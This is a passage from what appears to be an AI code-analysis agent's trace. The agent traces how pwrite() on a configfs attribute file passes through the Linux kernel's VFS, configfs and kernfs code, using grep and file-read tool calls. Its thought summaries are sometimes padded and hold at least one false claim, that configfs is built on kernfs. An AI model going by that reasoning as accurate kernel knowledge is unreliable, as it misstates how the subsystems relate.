  53:	
  54:	An item is created via mkdir(2).  The item's attributes will also
  55:	appear at this time.  readdir(3) can determine what the attributes are,
  56:	read(2) can query their default values, and write(2) can store new
  57:	values.  Don't mix more than one attribute in one attribute file.
  58:	
  59:	There are two types of configfs attributes:
  60:	
  61:	* Normal attributes, which similar to sysfs attributes, are small ASCII text
  62:	  files, with a maximum size of one page (PAGE_SIZE, 4096 on i386).  Preferably
  63:	  only one value per file should be used, and the same caveats from sysfs apply.
  64:	  Configfs expects write(2) to store the entire buffer at once.  When writing to
  65:	  normal configfs attributes, userspace processes should first read the entire
  66:	  file, modify the portions they wish to change, and then write the entire
  67:	  buffer back.
  68:	
  69:	* Binary attributes, which are somewhat similar to sysfs binary attributes,
  70:	  but with a few slight changes to semantics.  The PAGE_SIZE limitation does not
  71:	  apply, but the whole binary item must fit in single kernel vmalloc'ed buffer.
  72:	  The write(2) calls from user space are buffered, and the attributes'
  73:	  write_bin_attribute method will be invoked on the final close, therefore it is
  74:	  imperative for user-space to check the return code of close(2) in order to
  75:	  verify that the operation finished successfully.
  76:	  To avoid a malicious user OOMing the kernel, there's a per-binary attribute
  77:	  maximum buffer value.
  78:	
  79:	When an item needs to be destroyed, remove it with rmdir(2).  An
  80:	item cannot be destroyed if any other item has a link to it (via
  81:	symlink(2)).  Links can be removed via unlink(2).
  82:	
  83:	Configuring FakeNBD: an Example
  84:	===============================
  85:	
  86:	Imagine there's a Network Block Device (NBD) driver that allows you to
  87:	access remote block devices.  Call it FakeNBD.  FakeNBD uses configfs
  88:	for its configuration.  Obviously, there will be a nice program that
  89:	sysadmins use to configure FakeNBD, but somehow that program has to tell
]

122/7 2026/09/04 20:48 llm codeexpert
0m Model:
gemini-3.7-flash

Tokens:
							input: 20740
							output: 28
							thoughts: 784
						

Thoughts:
**My Thoughts on `pwrite` in a Configfs Loop**

Here I am, diving into the intricate details of how `pwrite(fd, buf, len, 0)` behaves when called repeatedly in a tight loop against a configfs attribute file. My immediate instinct is to dissect the path this operation takes through the kernel's Virtual File System (VFS) layer, all the way down to the configfs implementation.

I'm starting by tracing `pwrite` (specifically `pwrite64` as that's likely what `pwrite` resolves to) through `vfs_write` and its related iterator functions, like `vfs_iter_write`. My goal is to reach the configfs-specific handler, which would be `configfs_write_iter` for regular attributes and `configfs_bin_write_iter` for binary ones.

First, let's focus on the "regular" attribute scenario, handled by `configfs_file_operations`. I'm looking at the source code for `configfs_write_iter`. I see it takes a `struct kiocb` and a `struct iov_iter`. Inside, it retrieves a `configfs_buffer` from `file->private_data`. There's a mutex lock, then `fill_write_buffer` is called to copy data from the user-provided buffer (`from`) into the kernel's buffer (`buffer->page`). Crucially, this `fill_write_buffer` function copies data up to `SIMPLE_ATTR_SIZE - 1` and null-terminates it. It then returns the number of bytes copied.

Following that, `flush_write_buffer` is invoked if `fill_write_buffer` returned a positive length. This `flush_write_buffer` function appears to be the heart of the attribute update logic. It obtains a `configfs_fragment`, acquires a read lock on its semaphore, and then calls the actual attribute's `store` function. This `store` function is where the user-defined logic for handling the attribute write resides. It receives the `buffer->item`, the kernel buffer (`buffer->page`), and the `count` (length). After the `store` operation, the read lock is released.

Now, a crucial question pops into my mind: does the `iocb->ki_pos` value actually *matter* in this configfs write path? I see `iocb->ki_pos` is updated in `configfs_write_iter` (`iocb->ki_pos += len;`). However, I'm scrutinizing `fill_write_buffer` and `flush_write_buffer` very carefully. Do *they* make any use of `iocb->ki_pos` or the `offset` parameter that `pwrite` would have originally provided? Based on the code snippet, it seems they do not. The offset of 0 in my `pwrite` call is likely irrelevant here because `configfs_write_iter` doesn't seem to use it to determine where to write within the buffer, nor does the `store` operation itself appear to be offset-aware through this mechanism.

This leads me back to the fundamental behavior of `pwrite(fd, buf, len, 0)`. I need to trace precisely what VFS parameters are passed down. I'll be digging into `ksys_pwrite64`, `vfs_write`, and `vfs_iter_write` in `fs/read_write.c` to confirm how that initial `offset` of `0` is handled (or ignored) as the call propagates through the VFS stack and eventually lands in the configfs handler. My hypothesis is that the offset is effectively dropped or superseded by configfs's own buffer management.


123/7 2026/09/04 20:48 tool grepper
0m Args:
map[Expression:ksys_pwrite64 PathPrefix:fs]

Results:
map[Output:fs/read_write.c=776=COMPAT_SYSCALL_DEFINE5(pread64, unsigned int, fd, char __user *, buf,
--
fs/read_write.c-782-
fs/read_write.c:783:ssize_t ksys_pwrite64(unsigned int fd, const char __user *buf,
fs/read_write.c-784-		      size_t count, loff_t pos)
--
fs/read_write.c=799=SYSCALL_DEFINE4(pwrite64, unsigned int, fd, const char __user *, buf,
--
fs/read_write.c-801-{
fs/read_write.c:802:	return ksys_pwrite64(fd, buf, count, pos);
fs/read_write.c-803-}
--
fs/read_write.c=806=COMPAT_SYSCALL_DEFINE5(pwrite64, unsigned int, fd, const char __user *, buf,
--
fs/read_write.c-808-{
fs/read_write.c:809:	return ksys_pwrite64(fd, buf, count, compat_arg_u64_glue(pos));
fs/read_write.c-810-}
]

124/7 2026/09/04 20:48 llm codeexpert
0m Model:
gemini-3.7-flash

Tokens:
							input: 21872
							output: 35
							thoughts: 23
						

Thoughts:
**My Thought Process on `ksys_pwrite64` in `fs/read_write.c`**

Alright, the immediate thought is to dive into `fs/read_write.c` and locate the `ksys_pwrite64` function. My goal here is to understand its role within the kernel's file I/O subsystem. As an expert, I'm not just looking for a surface-level description; I want to grasp the nuances of how it handles positioned writes, especially in relation to the underlying filesystem and VFS (Virtual File System) layer.

I anticipate that `ksys_pwrite64` will be the kernel's entry point for the `pwrite64` system call. This means it's responsible for writing data to a file at a specific offset, crucially *without* modifying the current file offset. This distinction is paramount for concurrent I/O operations and for scenarios where precise control over file positioning is required.

My investigation will likely involve tracing the execution flow:

*   **System Call Entry:** How does `ksys_pwrite64` get invoked? I'll be looking for the system call table entry and the assembly glue that transitions from user space to kernel space.
*   **Argument Validation:** What sanity checks are performed on the arguments passed from user space? This would include validating file descriptors, buffer pointers, lengths, and the offset. I'm particularly interested in any checks related to offset overflow or invalid values.
*   **File Descriptor Resolution:** The function will need to resolve the provided file descriptor to an actual `struct file` object. This involves traversing the per-process file descriptor table and ensuring the file is indeed opened for writing.
*   **VFS Layer Interaction:** This is where the core logic for file operations will reside. I expect `ksys_pwrite64` to delegate the actual writing to the VFS layer, which in turn will call the appropriate filesystem-specific `write_iter` (or similar) function. The key here is understanding how the `struct file_operations` are accessed and invoked.
*   **`struct iov_iter` Handling:** Modern kernel I/O heavily relies on `struct iov_iter` to manage scatter-gather buffers. I'll be examining how user-space buffers are copied or mapped into kernel-space iterators for efficient data transfer. This often involves `copy_from_user` or similar mechanisms.
*   **Offset Management:** While `pwrite64` doesn't update the file offset, the underlying filesystem operation *will* need to know the target offset. I'll be looking at how this offset is passed down the VFS stack and utilized by the filesystem driver.
*   **Return Value and Error Handling:** What are the possible outcomes? Success will be indicated by the number of bytes written. Errors will need to be carefully handled, with appropriate `errno` values being propagated back to user space. This includes checks for insufficient permissions, disk full conditions, I/O errors, and invalid arguments.
*   **Concurrency Considerations:** Given the nature of positioned I/O, I'll be mindful of potential race conditions. While `pwrite64` itself is designed to be atomic with respect to the offset, I'll be considering how locking mechanisms within the VFS and filesystem drivers protect the data structures and the file itself during the write operation. This might involve mutexes, semaphores, or finer-grained locking.
*   **Interaction with Caching and Page Cache:** How does `ksys_pwrite64` interact with the page cache? Does it bypass it, write directly to the device, or involve page cache updates? This is a crucial aspect for performance tuning and understanding data consistency.

In essence, I'm looking to build a mental model of `ksys_pwrite64` as a robust and efficient bridge between user-space requests for positioned writes and the kernel's complex file I/O machinery, with a keen eye on its interaction with the VFS and the specific filesystem implementation.


125/7 2026/09/04 20:48 tool read-file
0m Args:
map[File:fs/read_write.c FirstLine:780 LineCount:35]

Results:
map[Contents: 780:	}
 781:	#endif
 782:	
 783:	ssize_t ksys_pwrite64(unsigned int fd, const char __user *buf,
 784:			      size_t count, loff_t pos)
 785:	{
 786:		if (pos < 0)
 787:			return -EINVAL;
 788:	
 789:		CLASS(fd, f)(fd);
 790:		if (fd_empty(f))
 791:			return -EBADF;
 792:	
 793:		if (fd_file(f)->f_mode & FMODE_PWRITE)
 794:			return vfs_write(fd_file(f), buf, count, &pos);
 795:	
 796:		return -ESPIPE;
 797:	}
 798:	
 799:	SYSCALL_DEFINE4(pwrite64, unsigned int, fd, const char __user *, buf,
 800:				 size_t, count, loff_t, pos)
 801:	{
 802:		return ksys_pwrite64(fd, buf, count, pos);
 803:	}
 804:	
 805:	#if defined(CONFIG_COMPAT) && defined(__ARCH_WANT_COMPAT_PWRITE64)
 806:	COMPAT_SYSCALL_DEFINE5(pwrite64, unsigned int, fd, const char __user *, buf,
 807:			       size_t, count, compat_arg_u64_dual(pos))
 808:	{
 809:		return ksys_pwrite64(fd, buf, count, compat_arg_u64_glue(pos));
 810:	}
 811:	#endif
 812:	
 813:	static ssize_t do_iter_readv_writev(struct file *filp, struct iov_iter *iter,
 814:			loff_t *ppos, int type, rwf_t flags)
]

126/7 2026/09/04 20:48 llm codeexpert
0m Model:
gemini-3.7-flash

Tokens:
							input: 22490
							output: 26
							thoughts: 72
						

Thoughts:
**My Thought Process Regarding `FMODE_PWRITE`**

Hold on a second! As I was diving into the `ksys_pwrite64` function, my attention was immediately drawn to this specific line: `if (fd_file(f)->f_mode & FMODE_PWRITE)`. This immediately sparked a question in my mind: where is this `FMODE_PWRITE` flag actually being set or cleared throughout the kernel? It's crucial for me to understand its lifecycle and how it influences file operations. My next step, therefore, is to conduct a comprehensive search across the entire kernel codebase for all instances of `FMODE_PWRITE` and its counterpart, `FMODE_PREAD`. This will allow me to map out its usage, identify the contexts in which it's enabled or disabled, and ultimately gain a solid understanding of its role in the file system I/O subsystem.


127/7 2026/09/04 20:48 tool grepper
0m Args:
map[Expression:FMODE_PWRITE PathPrefix:fs]

Results:
map[Output:fs/cachefiles/ondemand.c=293=static int cachefiles_ondemand_get_fd(struct cachefiles_req *req,
--
fs/cachefiles/ondemand.c-319-				&cachefiles_ondemand_fd_fops, object,
fs/cachefiles/ondemand.c:320:				O_WRONLY, FMODE_PWRITE | FMODE_LSEEK);
fs/cachefiles/ondemand.c-321-	if (IS_ERR(anon_file->file)) {
--
fs/kernfs/file.c=603=static int kernfs_fop_open(struct inode *inode, struct file *file)
--
fs/kernfs/file.c-707-	if (file->f_mode & FMODE_WRITE)
fs/kernfs/file.c:708:		file->f_mode |= FMODE_PWRITE;
fs/kernfs/file.c-709-
--
fs/open.c=885=static int do_dentry_open(struct file *f,
--
fs/open.c-942-	/* normally all 3 are set; ->open() can clear them if needed */
fs/open.c:943:	f->f_mode |= FMODE_LSEEK | FMODE_PREAD | FMODE_PWRITE;
fs/open.c-944-	if (!open)
--
fs/open.c=1560=int nonseekable_open(struct inode *inode, struct file *filp)
fs/open.c-1561-{
fs/open.c:1562:	filp->f_mode &= ~(FMODE_LSEEK | FMODE_PREAD | FMODE_PWRITE);
fs/open.c-1563-	return 0;
--
fs/open.c=1578=int stream_open(struct inode *inode, struct file *filp)
fs/open.c-1579-{
fs/open.c:1580:	filp->f_mode &= ~(FMODE_LSEEK | FMODE_PREAD | FMODE_PWRITE | FMODE_ATOMIC_POS);
fs/open.c-1581-	filp->f_mode |= FMODE_STREAM;
--
fs/read_write.c=783=ssize_t ksys_pwrite64(unsigned int fd, const char __user *buf,
--
fs/read_write.c-792-
fs/read_write.c:793:	if (fd_file(f)->f_mode & FMODE_PWRITE)
fs/read_write.c-794-		return vfs_write(fd_file(f), buf, count, &pos);
--
fs/read_write.c=1142=static ssize_t do_pwritev(unsigned long fd, const struct iovec __user *vec,
--
fs/read_write.c-1152-		ret = -ESPIPE;
fs/read_write.c:1153:		if (fd_file(f)->f_mode & FMODE_PWRITE)
fs/read_write.c-1154-			ret = vfs_writev(fd_file(f), vec, vlen, &pos, flags);
--
fs/resctrl/pseudo_lock.c=949=static int pseudo_lock_dev_open(struct inode *inode, struct file *filp)
--
fs/resctrl/pseudo_lock.c-963-	/* Perform a non-seekable open - llseek is not supported */
fs/resctrl/pseudo_lock.c:964:	filp->f_mode &= ~(FMODE_LSEEK | FMODE_PREAD | FMODE_PWRITE);
fs/resctrl/pseudo_lock.c-965-
--
fs/seq_file.c=58=int seq_open(struct file *file, const struct seq_operations *op)
--
fs/seq_file.c-78-	 * seq_files support lseek() and pread().  They do not implement
fs/seq_file.c:79:	 * write() at all, but we clear FMODE_PWRITE here for historical
fs/seq_file.c-80-	 * reasons.
--
fs/seq_file.c-83-	 * support pwrite() then that client will need to implement its own
fs/seq_file.c:84:	 * file.open() which calls seq_open() and then sets FMODE_PWRITE.
fs/seq_file.c-85-	 */
fs/seq_file.c:86:	file->f_mode &= ~FMODE_PWRITE;
fs/seq_file.c-87-	return 0;
--
fs/splice.c=1300=ssize_t do_splice(struct file *in, loff_t *off_in, struct file *out,
--
fs/splice.c-1330-		if (off_out) {
fs/splice.c:1331:			if (!(out->f_mode & FMODE_PWRITE))
fs/splice.c-1332-				return -EINVAL;
]

128/7 2026/09/04 20:48 llm codeexpert
0m Model:
gemini-3.7-flash

Tokens:
							input: 23870
							output: 37
							thoughts: 41
						

Thoughts:
**My Thought Process on Configfs Open and Write Operations**

Alright, so my immediate goal here is to understand the mechanics of what transpires when a file within the configfs filesystem is opened and subsequently written to. To gain a comprehensive grasp, I've decided to meticulously examine the `__configfs_open_file` function, which I've located in `fs/configfs/file.c`. I'm going to read this function from beginning to end, paying close attention to every detail to build a complete mental model of the process.


129/7 2026/09/04 20:48 tool read-file
0m Args:
map[File:fs/configfs/file.c FirstLine:290 LineCount:100]

Results:
map[Contents: 290:	static int __configfs_open_file(struct inode *inode, struct file *file, int type)
 291:	{
 292:		struct dentry *dentry = file->f_path.dentry;
 293:		struct configfs_fragment *frag = to_frag(file);
 294:		struct configfs_attribute *attr;
 295:		struct configfs_buffer *buffer;
 296:		int error;
 297:	
 298:		error = -ENOMEM;
 299:		buffer = kzalloc_obj(struct configfs_buffer);
 300:		if (!buffer)
 301:			goto out;
 302:	
 303:		error = -ENOENT;
 304:		down_read(&frag->frag_sem);
 305:		if (unlikely(frag->frag_dead))
 306:			goto out_free_buffer;
 307:	
 308:		error = -EINVAL;
 309:		buffer->item = to_item(dentry->d_parent);
 310:		if (!buffer->item)
 311:			goto out_free_buffer;
 312:	
 313:		attr = to_attr(dentry);
 314:		if (!attr)
 315:			goto out_free_buffer;
 316:	
 317:		if (type & CONFIGFS_ITEM_BIN_ATTR) {
 318:			buffer->bin_attr = to_bin_attr(dentry);
 319:			buffer->cb_max_size = buffer->bin_attr->cb_max_size;
 320:		} else {
 321:			buffer->attr = attr;
 322:		}
 323:	
 324:		buffer->owner = attr->ca_owner;
 325:		/* Grab the module reference for this attribute if we have one */
 326:		error = -ENODEV;
 327:		if (!try_module_get(buffer->owner))
 328:			goto out_free_buffer;
 329:	
 330:		error = -EACCES;
 331:		if (!buffer->item->ci_type)
 332:			goto out_put_module;
 333:	
 334:		buffer->ops = buffer->item->ci_type->ct_item_ops;
 335:	
 336:		/* File needs write support.
 337:		 * The inode's perms must say it's ok,
 338:		 * and we must have a store method.
 339:		 */
 340:		if (file->f_mode & FMODE_WRITE) {
 341:			if (!(inode->i_mode & S_IWUGO))
 342:				goto out_put_module;
 343:			if ((type & CONFIGFS_ITEM_ATTR) && !attr->store)
 344:				goto out_put_module;
 345:			if ((type & CONFIGFS_ITEM_BIN_ATTR) && !buffer->bin_attr->write)
 346:				goto out_put_module;
 347:		}
 348:	
 349:		/* File needs read support.
 350:		 * The inode's perms must say it's ok, and we there
 351:		 * must be a show method for it.
 352:		 */
 353:		if (file->f_mode & FMODE_READ) {
 354:			if (!(inode->i_mode & S_IRUGO))
 355:				goto out_put_module;
 356:			if ((type & CONFIGFS_ITEM_ATTR) && !attr->show)
 357:				goto out_put_module;
 358:			if ((type & CONFIGFS_ITEM_BIN_ATTR) && !buffer->bin_attr->read)
 359:				goto out_put_module;
 360:		}
 361:	
 362:		mutex_init(&buffer->mutex);
 363:		buffer->needs_read_fill = 1;
 364:		buffer->read_in_progress = false;
 365:		buffer->write_in_progress = false;
 366:		file->private_data = buffer;
 367:		up_read(&frag->frag_sem);
 368:		return 0;
 369:	
 370:	out_put_module:
 371:		module_put(buffer->owner);
 372:	out_free_buffer:
 373:		up_read(&frag->frag_sem);
 374:		kfree(buffer);
 375:	out:
 376:		return error;
 377:	}
 378:	
 379:	static int configfs_release(struct inode *inode, struct file *filp)
 380:	{
 381:		struct configfs_buffer *buffer = filp->private_data;
 382:	
 383:		module_put(buffer->owner);
 384:		kfree(buffer->page);
 385:		mutex_destroy(&buffer->mutex);
 386:		kfree(buffer);
 387:		return 0;
 388:	}
 389:	
]

130/7 2026/09/04 20:48 llm codeexpert
0m Model:
gemini-3.7-flash

Tokens:
							input: 25395
							output: 31
							thoughts: 389
						

Thoughts:
**My Thought Process During `configfs` Open Operations**

I'm trying to understand the nuances of how `configfs` handles file operations, specifically focusing on the `open` call and its implications for file modes, particularly concerning `pwrite` capabilities.

My initial thought is to examine what happens immediately after a file is opened. I see that `do_dentry_open` sets certain flags in the file structure (`f->f_mode`), specifically `FMODE_LSEEK`, `FMODE_PREAD`, and `FMODE_PWRITE`. This is a crucial starting point, as it establishes the baseline capabilities of the opened file.

Following this, `__configfs_open_file` is invoked, either through `configfs_open_file` or `configfs_open_bin_file`. My next question is whether `__configfs_open_file` itself alters `f->f_mode`. I've reviewed its code, and it appears that this particular function *does not* modify `f->f_mode`. This is important because it means the flags set by `do_dentry_open` are the ones that persist, unless explicitly changed by a subsequent operation.

However, I then recall that `configfs` has different file operations structures for regular files and binary files. I've pulled up the definitions:

For `configfs_file_operations`, which is likely used for standard configuration files, I see it defines `read_iter`, `write_iter`, `llseek` (using `generic_file_llseek`), `open` (calling `configfs_open_file`), and `release`.

For `configfs_bin_file_operations`, which is for binary files, it defines `read_iter`, `write_iter`, `llseek` as `NULL` (explicitly stating the bin file is not seekable), `open` (calling `configfs_open_bin_file`), and `release_bin_file`.

This distinction is significant. The `configfs_bin_file_operations` explicitly setting `llseek` to `NULL` suggests a fundamental difference in how seek operations are handled, or perhaps not handled at all, for binary files within `configfs`.

This then leads me to a broader comparison: how does `sysfs` or, more generally, `kernfs` handle `pwrite` versus `write`? And how does this compare to `configfs`'s approach? I know `kernfs` is the underlying framework for `sysfs`, and understanding its write logic might shed light on `configfs`'s behavior, especially since `configfs` is built on top of `kernfs`. My next step is to investigate `kernfs` in `fs/kernfs/file.c` to draw parallels and contrasts with `configfs`'s write mechanisms and how they interact with the `FMODE_PWRITE` flag established earlier. I need to see if `kernfs` has specific handling for `pwrite` that might be inherited or overridden by `configfs`.


131/7 2026/09/04 20:49 tool grepper
0m Args:
map[Expression:kernfs_fop_write PathPrefix:fs/kernfs]

Results:
map[Output:fs/kernfs/file.c=287=static ssize_t kernfs_fop_read_iter(struct kiocb *iocb, struct iov_iter *iter)
--
fs/kernfs/file.c-303- */
fs/kernfs/file.c:304:static ssize_t kernfs_fop_write_iter(struct kiocb *iocb, struct iov_iter *iter)
fs/kernfs/file.c-305-{
--
fs/kernfs/file.c=603=static int kernfs_fop_open(struct inode *inode, struct file *file)
--
fs/kernfs/file.c-669-	 * Write path needs to atomic_write_len outside active reference.
fs/kernfs/file.c:670:	 * Cache it in open_file.  See kernfs_fop_write_iter() for details.
fs/kernfs/file.c-671-	 */
--
fs/kernfs/file.c=1008=const struct file_operations kernfs_file_fops = {
fs/kernfs/file.c-1009-	.read_iter	= kernfs_fop_read_iter,
fs/kernfs/file.c:1010:	.write_iter	= kernfs_fop_write_iter,
fs/kernfs/file.c-1011-	.llseek		= kernfs_fop_llseek,
]

132/7 2026/09/04 20:49 llm codeexpert
0m Model:
gemini-3.7-flash

Tokens:
							input: 26176
							output: 36
							thoughts: 52
						

Thoughts:
**My Thought Process on Examining `kernfs_fop_write_iter`**

My primary objective here is to deeply understand the inner workings of `kernfs_fop_write_iter` within `fs/kernfs/file.c`. I'm not just looking for a superficial overview; I want to grasp the fundamental "why" behind kernfs's implementation choices. This dive is crucial because I've encountered and am aware of various issues that have surfaced concerning sysfs and configfs, both of which rely on kernfs. By dissecting this specific function, I anticipate gaining insight into the architectural decisions that might be the root cause or contribute to these observed problems. I'm particularly interested in how kernfs handles write operations at the iterator level, as this is often where complex interactions with the underlying filesystem structures and the kernel's memory management occur. My aim is to connect the dots between the code's behavior and the practical implications and reported bugs within sysfs and configfs.


133/7 2026/09/04 20:49 tool read-file
0m Args:
map[File:fs/kernfs/file.c FirstLine:300 LineCount:60]

Results:
map[Contents: 300:	 * the first write.  Hint: if you're writing a value, first read the file,
 301:	 * modify only the value you're changing, then write entire buffer
 302:	 * back.
 303:	 */
 304:	static ssize_t kernfs_fop_write_iter(struct kiocb *iocb, struct iov_iter *iter)
 305:	{
 306:		struct kernfs_open_file *of = kernfs_of(iocb->ki_filp);
 307:		ssize_t len = iov_iter_count(iter);
 308:		const struct kernfs_ops *ops;
 309:		char *buf;
 310:	
 311:		if (of->atomic_write_len) {
 312:			if (len > of->atomic_write_len)
 313:				return -E2BIG;
 314:		} else {
 315:			len = min_t(size_t, len, PAGE_SIZE);
 316:		}
 317:	
 318:		buf = of->prealloc_buf;
 319:		if (buf)
 320:			mutex_lock(&of->prealloc_mutex);
 321:		else
 322:			buf = kmalloc(len + 1, GFP_KERNEL);
 323:		if (!buf)
 324:			return -ENOMEM;
 325:	
 326:		if (copy_from_iter(buf, len, iter) != len) {
 327:			len = -EFAULT;
 328:			goto out_free;
 329:		}
 330:		buf[len] = '\0';	/* guarantee string termination */
 331:	
 332:		/*
 333:		 * @of->mutex nests outside active ref and is used both to ensure that
 334:		 * the ops aren't called concurrently for the same open file.
 335:		 */
 336:		mutex_lock(&of->mutex);
 337:		if (!kernfs_get_active_of(of)) {
 338:			mutex_unlock(&of->mutex);
 339:			len = -ENODEV;
 340:			goto out_free;
 341:		}
 342:	
 343:		ops = kernfs_ops(of->kn);
 344:		if (ops->write)
 345:			len = ops->write(of, buf, len, iocb->ki_pos);
 346:		else
 347:			len = -EINVAL;
 348:	
 349:		kernfs_put_active_of(of);
 350:		mutex_unlock(&of->mutex);
 351:	
 352:		if (len > 0)
 353:			iocb->ki_pos += len;
 354:	
 355:	out_free:
 356:		if (buf == of->prealloc_buf)
 357:			mutex_unlock(&of->prealloc_mutex);
 358:		else
 359:			kfree(buf);
]

134/7 2026/09/04 20:49 llm codeexpert
0m Model:
gemini-3.7-flash

Tokens:
							input: 27130
							output: 29
							thoughts: 57
						

Thoughts:
**My Thought Process on Investigating Write Operations**

Ah, this is an interesting juncture. My immediate inclination is to dive into the specifics of how data is written to the filesystem. I want to understand the underlying mechanisms, so I'm looking at the `vfs_write` function and comparing it to `configfs_write_iter`. The contrast here is important – one is a general filesystem write operation, while the other is specifically tailored for the configfs interface. To truly grasp the differences and potential implications, I need to dissect `vfs_write` itself. My next step is to locate its implementation, which I expect to find in `fs/read_write.c`, and then meticulously examine its code.


135/7 2026/09/04 20:49 tool grepper
0m Args:
map[Expression:ssize_t vfs_write PathPrefix:fs]

Results:
map[Output:fs/read_write.c=665=EXPORT_SYMBOL(kernel_write);
fs/read_write.c-666-
fs/read_write.c:667:ssize_t vfs_write(struct file *file, const char __user *buf, size_t count, loff_t *pos)
fs/read_write.c-668-{
--
fs/read_write.c=991=static ssize_t vfs_readv(struct file *file, const struct iovec __user *vec,
--
fs/read_write.c-1028-
fs/read_write.c:1029:static ssize_t vfs_writev(struct file *file, const struct iovec __user *vec,
fs/read_write.c-1030-			  unsigned long vlen, loff_t *pos, rwf_t flags)
]

136/7 2026/09/04 20:49 llm codeexpert
0m Model:
gemini-3.7-flash

Tokens:
							input: 27432
							output: 35
							thoughts: 20
						

Thoughts:
**My Thought Process on `vfs_write`**

Alright, the first thing I want to do is dive into the `vfs_write` function, which I know is located in `fs/read_write.c`. This is a crucial entry point for any write operation within the Virtual File System (VFS) layer, so understanding its mechanics is key to comprehending how data actually gets persisted. I'm expecting this function to be the orchestrator, the central hub that takes a generic write request and figures out the specifics of where and how to write that data, ultimately delegating to the actual filesystem driver. I'll be looking for how it handles different scenarios – things like regular files, special files, and perhaps even network file systems. I'll need to trace the path from the initial call to `vfs_write` all the way down to the concrete `write_inode` or `write_file` operation of the underlying filesystem. I'm particularly interested in error handling, buffer management, and how it interacts with page cache and block layer if applicable. Understanding these details will give me a solid foundation for debugging or optimizing write performance.


137/7 2026/09/04 20:49 tool read-file
0m Args:
map[File:fs/read_write.c FirstLine:667 LineCount:50]

Results:
map[Contents: 667:	ssize_t vfs_write(struct file *file, const char __user *buf, size_t count, loff_t *pos)
 668:	{
 669:		ssize_t ret;
 670:	
 671:		if (!(file->f_mode & FMODE_WRITE))
 672:			return -EBADF;
 673:		if (!(file->f_mode & FMODE_CAN_WRITE))
 674:			return -EINVAL;
 675:		if (unlikely(!access_ok(buf, count)))
 676:			return -EFAULT;
 677:	
 678:		ret = rw_verify_area(WRITE, file, pos, count);
 679:		if (ret)
 680:			return ret;
 681:		if (count > MAX_RW_COUNT)
 682:			count =  MAX_RW_COUNT;
 683:		file_start_write(file);
 684:		if (file->f_op->write)
 685:			ret = file->f_op->write(file, buf, count, pos);
 686:		else if (file->f_op->write_iter)
 687:			ret = new_sync_write(file, buf, count, pos);
 688:		else
 689:			ret = -EINVAL;
 690:		if (ret > 0) {
 691:			fsnotify_modify(file);
 692:			add_wchar(current, ret);
 693:		}
 694:		inc_syscw(current);
 695:		file_end_write(file);
 696:		return ret;
 697:	}
 698:	
 699:	/* file_ppos returns &file->f_pos or NULL if file is stream */
 700:	static inline loff_t *file_ppos(struct file *file)
 701:	{
 702:		return file->f_mode & FMODE_STREAM ? NULL : &file->f_pos;
 703:	}
 704:	
 705:	ssize_t ksys_read(unsigned int fd, char __user *buf, size_t count)
 706:	{
 707:		CLASS(fd_pos, f)(fd);
 708:		ssize_t ret = -EBADF;
 709:	
 710:		if (!fd_empty(f)) {
 711:			loff_t pos, *ppos = file_ppos(fd_file(f));
 712:			if (ppos) {
 713:				pos = *ppos;
 714:				ppos = &pos;
 715:			}
 716:			ret = vfs_read(fd_file(f), buf, count, ppos);
]

138/7 2026/09/04 20:49 llm codeexpert
0m Model:
gemini-3.7-flash

Tokens:
							input: 28261
							output: 26
							thoughts: 30
						

Thoughts:
**Exploring the `new_sync_write` Function**

My immediate impulse is to delve into the functionality of this `new_sync_write` call. To do that, I need to understand its implementation details. My current plan is to locate its definition within the kernel source code, specifically in the `fs/read_write.c` file. This will allow me to trace its execution path and comprehend how it interacts with the file system layer for synchronous write operations.


139/7 2026/09/04 20:49 tool grepper
0m Args:
map[Expression:new_sync_write PathPrefix:fs]

Results:
map[Output:fs/read_write.c=554=ssize_t vfs_read(struct file *file, char __user *buf, size_t count, loff_t *pos)
--
fs/read_write.c-584-
fs/read_write.c:585:static ssize_t new_sync_write(struct file *filp, const char __user *buf, size_t len, loff_t *ppos)
fs/read_write.c-586-{
--
fs/read_write.c=667=ssize_t vfs_write(struct file *file, const char __user *buf, size_t count, loff_t *pos)
--
fs/read_write.c-686-	else if (file->f_op->write_iter)
fs/read_write.c:687:		ret = new_sync_write(file, buf, count, pos);
fs/read_write.c-688-	else
]

140/7 2026/09/04 20:49 llm codeexpert
0m Model:
gemini-3.7-flash

Tokens:
							input: 28557
							output: 35
							thoughts: 21
						

Thoughts:
**My Thought Process Regarding `new_sync_write`**

Alright, my immediate thought is that I need to dive into the `new_sync_write` function within `fs/read_write.c`. My intention here is to gain a deep, granular understanding of its inner workings. I'm not just looking for a surface-level overview; as an expert in this domain, I need to comprehend the precise logic, the state transitions, the data flow, and crucially, any potential edge cases or performance implications this function might introduce. I'll be scrutinizing the system calls it makes, how it interacts with the page cache, its error handling mechanisms, and any synchronization primitives it employs. My goal is to fully grasp its contribution to the overall file system write path, particularly how it ensures synchronous behavior and what that entails in terms of system call guarantees and potential blocking characteristics. I'll be thinking critically about how this function fits into the broader context of I/O operations and how it might be optimized or, conversely, where it might represent a bottleneck.


141/7 2026/09/04 20:49 tool read-file
0m Args:
map[File:fs/read_write.c FirstLine:580 LineCount:30]

Results:
map[Contents: 580:		}
 581:		inc_syscr(current);
 582:		return ret;
 583:	}
 584:	
 585:	static ssize_t new_sync_write(struct file *filp, const char __user *buf, size_t len, loff_t *ppos)
 586:	{
 587:		struct kiocb kiocb;
 588:		struct iov_iter iter;
 589:		ssize_t ret;
 590:	
 591:		init_sync_kiocb(&kiocb, filp);
 592:		kiocb.ki_pos = (ppos ? *ppos : 0);
 593:		iov_iter_ubuf(&iter, ITER_SOURCE, (void __user *)buf, len);
 594:	
 595:		ret = filp->f_op->write_iter(&kiocb, &iter);
 596:		BUG_ON(ret == -EIOCBQUEUED);
 597:		if (ret > 0 && ppos)
 598:			*ppos = kiocb.ki_pos;
 599:		return ret;
 600:	}
 601:	
 602:	/* caller is responsible for file_start_write/file_end_write */
 603:	ssize_t __kernel_write_iter(struct file *file, struct iov_iter *from, loff_t *pos)
 604:	{
 605:		struct kiocb kiocb;
 606:		ssize_t ret;
 607:	
 608:		if (WARN_ON_ONCE(!(file->f_mode & FMODE_WRITE)))
 609:			return -EBADF;
]

142/7 2026/09/04 20:49 llm codeexpert
0m Model:
gemini-3.7-flash

Tokens:
							input: 29094
							output: 26
							thoughts: 1705
						

Thoughts:
**Understanding Configfs Write Behavior with pwrite and write**

My thought process has been a deep dive into how `pwrite` and `write` interact with the configfs filesystem, specifically when used in a tight loop. I'm trying to unravel the precise sequence of kernel calls and data flow to understand the implications for data handling.

It started with tracing a user's execution of `pwrite(fd, buf, len, 0)` within a loop. My initial step was to follow the system call path:

